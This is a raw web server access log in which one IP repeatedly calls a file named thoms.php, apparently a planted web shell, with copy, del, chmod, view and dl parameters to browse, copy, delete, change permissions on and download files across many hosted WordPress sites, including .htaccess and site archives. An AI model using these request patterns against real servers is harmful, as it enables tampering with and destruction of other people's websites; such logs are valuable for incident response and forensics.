45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20015 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20015 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 12424 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22920 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11413 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22922 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22915 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p= HTTP/1.1" 200 12432 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20258 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /booking-wise2.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22938 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /booking-wise2.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20258 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flocoy.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:47 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22912 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22919 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11757 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11838 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22930 "https://163.245.207.76/booking-wise2.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:48 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19382 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22947 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22919 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22909 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22916 "https://163.245.207.76/booking-wise2.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?p= HTTP/1.1" 200 22917 "https://163.245.207.76/booking-wise2.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:49 -0400] "GET /booking-wise2.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12393 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
